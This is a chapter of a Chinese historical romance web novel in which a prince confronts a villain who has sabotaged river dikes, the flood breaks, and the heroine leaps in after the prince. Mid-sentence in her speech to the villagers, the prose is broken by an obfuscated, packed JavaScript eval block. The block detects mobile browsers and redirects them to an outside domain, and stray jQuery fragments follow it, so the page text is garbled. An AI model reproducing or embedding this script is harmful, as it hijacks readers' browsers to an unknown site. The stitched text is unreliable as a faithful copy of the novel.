明蘅和长乐圈出来的地方并不是都记正确了——或者她们看到的那张图并不是真正的工事图，最先找到的几个地方里外查了一番，没见什么异常。


    就在将官又有些窃窃私语时，有人发现了端倪。


    “这河堤的填料不对！王爷请看，河堤原本应当是用黏土和细砂夯实，如今用的有许多都是秸秆。秸秆久在水中难免腐烂，这河堤看似牢固，实则已经空了。”


    沈宗芳捻起挖出来的秸秆，垂目道：“等到暴雨天气，上游涨水，只需要破坏一处堤坝，洪水就会沿着河道层层叠加，冲垮整个河段。”


    众人一片哗然，原本对明蘅还有三分不信的此时也不得不信了。


    沈宗芳拍了拍手站起身来：“动作快些。如今要重筑河堤只怕来不及了，一边疏散百姓，一边仔细搜查许家人。他们必是在上游动手。”


    话虽如此，沈宗芳本就是来诱敌的，又为了争分夺秒杀许家一个措手不及，五军营的人马他带得并不多。又要追查许家，又要疏散百姓，还要调查是哪些河堤有问题，就算叫了南陵的官兵一道也有些力不从心。


    好在沈宗芳手里有舆图，又摸得清许家的打算，沿着上游一路追查，还真让他们在白浪大堤上堵截到了许远山。


    ——或者说见到了在这里等他们的许远山。


    此时酝酿已久的暴雨已经迫不及待落了下来，许远山单身站在大堤上，透过密不透风的雨帘冷冷看着沈宗芳一行人。


    “许大人怎么不躲了？”沈宗芳打马上前，俯视着站在河堤上的许远山，“是知道我们的来意了？”


    许远山也不多和他打机锋，直截了当道：“我那好外甥女千里迢迢跑来，想来是特意给你报信来了？七王爷该知道的都知道了吧。”


    “是啊，你许家所有的阴谋都已经大白于天下，不知许大人还在坚持什么呢？束手就擒也是一种美德啊。”


    许远山冷笑了一声：“许某一辈子没有束手就擒这四个字。”


    沈宗芳宽和地笑着对他摇了摇头：“该学的字许大人还是要学着写。事已至此，还有什么意义呢？许文岭活不了几天了，就算许大人今日除了我、一路杀进京城，许家的富贵交到三哥和许二公子手上，许大人觉得守得住几天？”


    许远山倒也没反驳他，反倒是重重叹了一口气道：“这才是天意如此！若非这些庸才作祟……”


    “许大人，除了束手就擒，自作自受这四个字你也该学学怎么写。”沈宗芳还是笑盈盈的，“你当初耳提面命教出来的许文岭，对三哥和许二公子你是如何管教？”


    “他俩天资平庸，你不放在眼里也就罢了。你难道到了今日还没有发现许家手里曾有一个绝妙的棋子么？”


    许远山皱眉道：“许家人口单薄，还有什么人我不知道，七王爷倒是知道了？”


    “长乐啊。论及头脑清醒、做事果决，她远胜三哥。倘若你们一开始就扶持栽培长乐做我们的对手，她不知比三哥麻烦多少。”


    “长乐公主一介女流之辈——”


    “是了，还有另一个女流之辈呢，那为不知真名实姓的‘许小姐’——心性之坚韧，处事之机变，远超常人。你看，你觉得你们许家人才凋敝，我可不这么看。”


    沈宗芳敛了笑容，冷淡地看着许远山：“只不过许大人待人则兔死狗烹，行事则不留余地，天长日久，谁敢做许家的‘人才’？旁人不说，若不是都知道你许大人就是这样的心性，许东楼怎么会生出自保的二心，以至于坏了你的大事？”


    许远山沉默了一会儿，也冷笑了一声：“如今说这些也是白费唇舌。”


    沈宗芳道：“不错。我不是说了么？许大人还是要学会束手就擒。我知道你想杀了我以图心头一快——其实若是能杀了你，我当初觉得这桩买卖也未必不合算。但我现在不想死了。”


    “许大人，你杀不了我。”


    许远山却扬起了一个畅怀得有些诡异的微笑：“我的确是想着死也要拖着王爷一起，但我现在也不这么想了。杀了王爷只怕你还当我成全你的身后名呢，王爷不觉得，有事活着的人才知道什么叫痛苦么？”


    沈宗芳眉心微动：“你什么意思？”


    “王爷一路追查过来，想来是发现了这白浪大堤是上游最牢固的一处堤坝，觉得我炸毁这里自然就能水淹整个白浪江两岸。”


    许远山微微一笑：“是么，我当真是这么想的么？”


    不远处传来一阵奇妙的轰鸣，像是雷声，又和雷声隐隐不同——


    沈宗芳脸色大变的掉转马头，对飞光喝道：“抓住许远山！”便打马飞驰而去，许远山却也不跑，只是站在原地哈哈大笑。


    他的声音恶毒地缠在沈宗芳身上，活像什么诅咒。


    “白浪江有三处支流交汇，那里有不少百姓聚居——我听说有人在那里疏散百姓，却不知道是谁了！”


    -


    明蘅和长乐歇了一晚上，自觉已经没什么大碍了，便也跟着劝说下游的百姓撤离。


    但这件事并不容易。


    一来南陵年年雨季都是暴雨，虽有洪水，也没见还要举家避难的，说来有些人并不信。


    二来就算肯走，个个都忙着收拾东西，连鸡鸭都要一并带走，那进度委实不容乐观。


    明蘅知道许家可不会给他们一个明确的时间再动手，她和长乐能赶上，已经算是天大的幸运了，如今真可谓争分夺秒，一再劝说百姓收拾些要紧东西就赶紧走。


    有个老大爷便嚅嗫道：“贵人，家里没了这些东西，我们吃什么、喝什么？一个铜板都是要紧的呀。”


    明蘅催促的手一顿。


    她想起了那时候杨万元说过，他在断云岭之败里侥幸活了下来，却逃不过生计所迫……


    明蘅一咬牙，拔下了头上的一根嵌宝虫草金簪，塞进了老大爷手里，环顾四周高声道：“我是京城来的从一品亲王妃，每年依律所享的绢、罗、盐、茶、禄米，折算白银有千两之巨。”


    “诸位乡亲，只要人活着，地可以再种，银子可以再赚


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16075533|172714||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。我知道你们担心撑不到那天，我今日便和大家立誓，诸位损失的财物，我用年俸给你们赔，一年赔不完，十年八年的赔！”


    长乐也走了过来：“不够还有公主府呢，我也一起。”


    明蘅一拉她的袖子：“你可别跟着我胡闹。”


    “这怎么算胡闹呢，”长乐脸上带笑，用嘴角的气声跟她轻声道，“这次回去说不得我那公主府都要充公，不如我索性先捐了它。”


    明蘅又好气又好笑地轻轻拍了拍她。


    长乐借着她手上的劲往前一步，高声道：“话说到这里，还有什么好不放心的？来人，把我的马车也拉过来送他们一程，赶紧先把人都撤走了，再说旁的！”


    周围议论纷纷的百姓听了这话，倒也当真行动快了起来，偏偏这时一声惊雷，倾盆大雨霎时间袭来，众人都被浇了个彻底。


    倾海连忙把伞撑在明蘅头上：“娘娘，先去躲躲雨吧！”


    明蘅见百姓顶着大雨都在飞快收拾东西撤离，暗道自己继续留在这里也帮不上忙，反倒要让一同来的官兵分神照顾她和长乐，点了点头就要拉长乐也一道离开。


    天地间骤然炸开一声巨响，震得人耳膜生疼。


    长乐捂着耳朵道：“这雷也落得太近了！”


    明蘅道：“我们先找个屋檐避一避——”


    不远处突然传来一阵撕心裂肺的吼声：“堤坝——是河堤塌了！”


    明蘅猛地一回头，只见一道浑浊的巨浪如恶龙般撕开河道，裹挟着断木碎石咆哮而来。岸边的人群瞬间炸开，哭喊声、踩踏声混成一片。


    长乐的护卫顾不得许多，护着长乐挤开众人抢先朝高处跑去。


    倾海伸手来拉明蘅：“娘娘，先往坡上——”


    明蘅想去拉她的手往高坡上跑，脚下却踩在了雨中湿滑的泥面上就是一滑。她暗道不好，这里人群已经失控，一旦滑下去，只怕她就算没落入洪水中，也要被踩死了！


    “明蘅！”


    沈宗芳的声音穿透了重重叠叠的雷声。她还没来得及看清，便被一股大力猛地推向身后高坡。踉跄间，她瞥见他衣角一闪——


    “咔嚓！”


    一株被洪水连根拔起的古槐轰然砸下，正撞在沈宗芳腿上。鲜血瞬间染红浊流，他闷哼一声，转眼便被浪头吞没了。


    那一刻明蘅不知道自己在想什么。


    她兴许什么都没想，又兴许已经把这三年里的点点滴滴都想过了一遍。


    昨天，沈宗芳问她是怎么想的……她没有回答他。


    她只是觉得沈宗芳太狡猾了，她都不顾生死追来南陵了，还要问她怎么想的。


    她还想问沈宗芳怎么想的呢！


    那么轻易就丢下她……对他而言，她究竟是重要还是不重要？


    她是重要还是不重要？


    沈宗芳没有这样对她说过。


    他只是在滔天的洪水中，把她推向了“生”的那一面。


    明蘅什么也没有想，纵身跃进了洪水里。